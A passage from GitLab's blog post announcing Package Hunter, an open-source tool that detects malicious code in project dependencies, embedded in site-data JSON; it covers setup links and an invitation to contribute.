template](https://gitlab.com/gitlab-org/security-products/package-hunter-cli/-/blob/main/README.md#gitlab-ci) to add a Package Hunter job to\nyour project and follow the [instructions](https://gitlab.com/gitlab-org/security-products/package-hunter/-/blob/master/README.md#installation) for setting up a\nPackage Hunter server.\n\n### We've tested Package Hunter, now it's your turn. Let us know what you think!\n\nWe have been using Package Hunter internally to test GitLab's dependencies since November 2020. \nBy making it publicly available, we hope to enable other projects to\ndetect malicious code in their dependencies before it causes any harm and also to increase\nthe general confidence in open source supply chains. Package Hunter is free and open source.\nAt GitLab, we believe [everyone can contribute](/company/mission/#everyone-can-contribute).\nIf you have found a bug, have a feature suggestion, or want to contribute code, we want to hear from you!\nCheck out the [issue tracker](https://gitlab.com/gitlab-org/security-products/package-hunter/-/issues) for planned features or to submit bug reports and follow [these resources to learn more](https://gitlab.com/gitlab-org/security-products/package-hunter#learn-more).\n",[678,9],{"slug":1039,"featured":6,"template":683},"announcing-package-hunter","content:en-us:blog:announcing-package-hunter.yml","Announcing Package Hunter","en-us/blog/announcing-package-hunter.yml","en-us/blog/announcing-package-hunter",3,[663,688,708,728,748,769,790,808,827],1753475285957]